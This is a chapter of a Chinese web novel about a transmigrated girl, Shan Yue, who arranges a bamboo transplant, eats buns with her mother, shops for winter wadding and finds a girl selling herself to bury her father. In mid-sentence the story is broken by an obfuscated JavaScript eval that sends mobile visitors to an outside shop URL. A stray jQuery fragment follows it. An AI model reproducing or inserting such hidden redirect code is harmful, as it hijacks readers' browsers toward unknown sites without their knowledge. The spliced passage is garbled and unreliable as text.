收拾利索,山月将荷包递给柳含茵,又拿起装着空瓶的小筐,母女二人就告辞了。
货郎一直送到门口,山月脚步一顿,指着门口的那排植物问道:“大叔,你家从哪弄来的竹子?”
自从在兴隆寺见过竹子以后,山月回家又问了沈守拙和陆猎户,二人都说在信阳县内就没见哪里有过竹子,今天意外在货郎家见到,山月不得不多问一句。
“这个啊,是我从兴隆寺弄回来的。”
又是兴隆寺。
“我们不是本地人,当年修建兴隆寺的时候,我师傅,带着我和灵儿,一起来的信阳县。”
货郎伸手摸了摸竹子,陷入一段回忆。
“我师傅会修园子,种竹子,兴隆寺又大,我们在这一呆就是两年,好不容易园子修好了,我师傅却病重了,把灵儿托付给我,就撒手人寰了。”
会种竹子!
山月喜出望外。
“大叔,你说你会种竹子?”
“对啊,兴隆寺的竹子都是我们种的,都是从南边移植过来的,有几颗不太好的,我就拿家来了,结果,也活了。”货郎指着这一排竹子说道。
山月来了兴致,“什么样的竹子你都会种吗?兴隆寺一共有几种竹子啊?”
“这......”货郎掰着手指数了数。
“当年确实运过来好几种竹子,有看青的,也有留着以后当工具的,咱们这冷,有的活不了,最后就剩下毛竹,紫竹,还有冰翠竹。”
说到这,货郎有了几分炫耀的神情,“不是我自夸,整个信阳县,都找不出第二个能移植竹子的人。”
真是正瞌睡就有人送来了枕头。
“大叔,你一直说的要报答我,可是真的?”山月仰着小脸认真的问。
“当然是真的,咱可是说话算数的人。”货郎胸脯拍的震天响。
“兴隆寺的方丈大师答应送我一颗竹子,大叔,你帮我移植到山上去吧。”
山月眨巴眨巴眼睛,又加上一句。
“我想在我家后面种上一片竹林。”
“竹林啊......”货郎抿了抿嘴,“这不是难事,你可以问方丈要颗母竹,明年就会有笋冒出头来,不过要想长成一片竹林,那得有个三五年。”
就是这个。
山月听见了自己最想得到的消息,开心的想原地跳起来。
“大叔,你什么时间方便,我让我爹跟你一起去拉竹子。”
货郎向着屋子的方向看了看,“怎么也得等灵儿好一些,她身边,离不开人。”
“那好,我等你消息,对了,等几天,你来我们村的时候,记得来我家再拿一瓶药,接着给大婶涂。”
原本山月是舍不得再送出一瓶胡辛散的,为了让货郎给自己移植竹子,不得已,山月往货郎面前吊了一根胡萝卜。
双方约定好时间,柳含茵带着山月离开了货郎家。
“月儿,饿了吧。”
刚刚还没觉得,柳含茵这么一问,山月立马觉得肚子开始咕咕叫了起来。
“娘,咱俩吃点东西再回去吧。”
山月可怜巴巴的望着柳含茵。
“走,娘带你吃包子去。”
刚刚山月在货郎家的一顿话,让柳含茵记在心里,孩子跑了两趟,连口饭都没吃上,心心念念的惦记吃口包子,当娘的,怎么会忍心不让孩子吃上。
镇子里最热闹的地方,无非就是兴隆寺附近,娘俩转来转去,又回到了兴隆寺。
已经过了饭点,包子摊上的人不多,老板坐在凳子上打着盹。
柳含茵牵着山月,左右看了看,幌子上左右飘摇,“肉包子”三个大字非常显眼。
“月儿,娘带你吃肉包子吧。”
蒸锅里肉包子的味道飘散出来,山月馋的直咽口水。
“娘,贵吗?”
柳含茵心中一软,摸了摸山月的头,“我们月儿都开始给娘挣钱了,还吃不得一个肉包子?”
一听此话,山月也硬气了几分,“吃!”
柳含茵被山月逗的一笑,低头喊了声,“老板,还有肉包子吗?”
老板正半眯着,被人一喊,立马清醒,换上招牌的笑容招呼着。
“有有有,夫人小姐快里面请。”
说是里面,其实就是临街支了两张桌子。
老板从肩膀抽过一条毛巾,利索的将桌椅板凳擦拭干净,随即让了柳含茵母女坐下。
“夫人要吃点什么?”
“老板,你家都有什么吃食?”
“咱家肉包子最好吃,十里八村都有名,一个肉包子十文钱,素包子也有,五文钱一个,素粥二文,肉粥五文,要是点肉包子和粥,酱菜白送。”
柳含茵想了一下,“要一个肉包子,一个素包子,一碗素粥,一碗肉粥。”
“好嘞,稍等。”
老板转身去端饭,山月四处打量着,对每一处都无比好奇。
“娘,一会吃完饭,咱俩逛逛呗。”
没有哪个女人会拒绝逛街,古人也不行。
于是,柳含茵欣然答应了。
老板将热气腾腾的包子放在桌子上,山月立马就伸手将肉包子抓了起来。
“烫烫烫!”
吃了一亏的山月又火速将包子扔回盘子里。
“这孩子,没人跟你抢。”柳含茵抿嘴笑着看了山月一眼。
山月也不恼,使劲吹了吹手,感觉没那么热了,又将包子拿了起来,一掰,一分为二,伸手递给柳含茵。
“月儿”柳含茵略有些惊讶的看着递过来的包子,随即想明白了山月刚刚着急抓包子的用意。
“娘不吃,娘爱吃素包子。”
从穿过来的那天起,沈家所有人都坚定的站在山月的面前为她遮风挡雨,刚刚柳含茵点的那几样饭,山月就猜到了柳含茵是不会吃那个肉包子的,可是,山月已经不是过去那个又瞎又哑的小可怜了,她也可以保护这个时代的家人了。
山月又拿起素包子,一分为二,递给柳含茵一半。
“这样,咱们每个味道,都能尝尝了。”
柳含茵会心一笑,没再拒绝,只是将那碗肉粥,推到山月跟前,“别再让来让去的了,一会都凉了。”
山月也没推辞,低头开始吃饭,顺便在喝粥的时候,看见肉丝,挑出来,放在柳含茵碗里。
娘俩一顿饭吃的身体也暖暖的,心里也暖暖的。
又坐了一会,两人起身,开始在周边闲逛。
走来逛去,两人在布摊面前停下了脚步。
眼瞅着就入冬了,沈家热虽然都换上了厚衣服,但是明显就是大的传给小的,补丁摞补丁。
柳含茵伸手在布摊上翻了翻,对着店主问道:“老板,有棉絮吗?”
老板一见来了生意,赶忙上前,“有有有,夫人想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566178|204754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要多少啊?我这的棉絮又蓬松又轻便,关键冬天的时候缝到衣服里,绝对保暖。”
老板回身,从身后的车子里拿出一个大的布包,打开递给柳含茵。
“夫人你看看,我家的棉絮又白又软,弹的蓬松,今年穿过一年,明年换洗的时候,弹上一弹,又跟新的一样。”
“娘,这棉絮干什么用啊?”山月伸头过去瞅了瞅。
这棉絮跟棉花不太一样,棉花摸起来有些厚度,而且很温暖,这个棉絮薄薄的一层,像是什么东西的纤维。
“做冬衣啊。”柳含茵低头检查着棉絮,“一下雪,厚衣服就穿不住了,就得往衣服里面续上棉絮,要不然,冬天会冻死人的。”
“那怎么不买棉花啊?”山月仔细看了看老板的摊位,并没有发现棉花的影子。
“棉花?什么是棉花?月儿,你是不是说的这个棉絮啊。”
山月如遭雷击,愣在原地。
不会吧,这个时代,该不会没有棉花吧。
柳含茵最后跟老板还了还价,用一百六十文买了二两棉絮,又花了一百文,买了一块麻布,最后还让老板搭上了几块彩色的布头。
高高兴兴的将买到的东西放进小筐里,一回头,就看到自己神游天外的女儿,呆呆的站在原地。
“月儿,你咋了?”
没有棉花,没有空调,面对即将到来的冬季,山月只觉得眼前一片黑暗。
“娘,冬天是不是很难过?”
“咱们这,还算好的。”柳含茵叹了口气,“再往北边去,年年都有冻死的,咱们家再穷,好赖还能穿上棉衣,有的人家,全家就一件能穿的出去的棉衣,也有的人家,往棉衣里续芦花和柳絮,还有做纸衣的。”
柳含茵说着说着,声音越来越小,娘俩都有些沉默,闷声继续往前走。
见女儿兴致不高,柳含茵在一个卖头花,头绳的摊位前停下了脚步。
“老板,给我二尺红头绳。”
老板应声去拿,山月站在摊前仔细看着陈列的物品。
红色的头绳,木梳,镜子,还有木头雕刻的簪子,还有洗脸洗头发用的皂角。
沈家人爱干净,日常洗漱除了用外婆自己做的猪胰子,就是将灶膛里的草木灰放进水里,洗上两遍,干净是干净了,可是洗完以后脸上发干发涩,猪胰子又有股怪味,山月一直很抵触。
“娘,咱们买个皂角吧!”
山月眼巴巴的盯着柳含茵看。
山月生的好看,集合了沈守拙五官的立体和柳含茵的精致,原来在老宅的时候,吃不上,穿不好,看起来柴柴吧吧,自从分家以后,脸蛋上有了点肉,眉眼也有了精神,再看过去,就是一个很漂亮的小姑娘。
“行,那就听我闺女的,咱们买个皂角。”
买到心仪的东西,山月脸上有了点笑模样。
天色也不早了,母女二人预备往家赶,路过一个小摊的时候,里三层外三层的人,引起了山月的注意。
什么东西卖的这么好啊?
山月拽了拽柳含茵,指了指那边,示意自己想过去瞅瞅。
柳含茵刚想拒绝,奈何自己这闺女身子灵活,瞅准了人群中的一个缝隙,挤了进去。
人群中,赫然跪着一个十二三岁的小姑娘,头上系着一条白布,头顶插着两根稻草,边上还躺着一个盖着白布的人。
这,竟是传说中的,卖身葬父?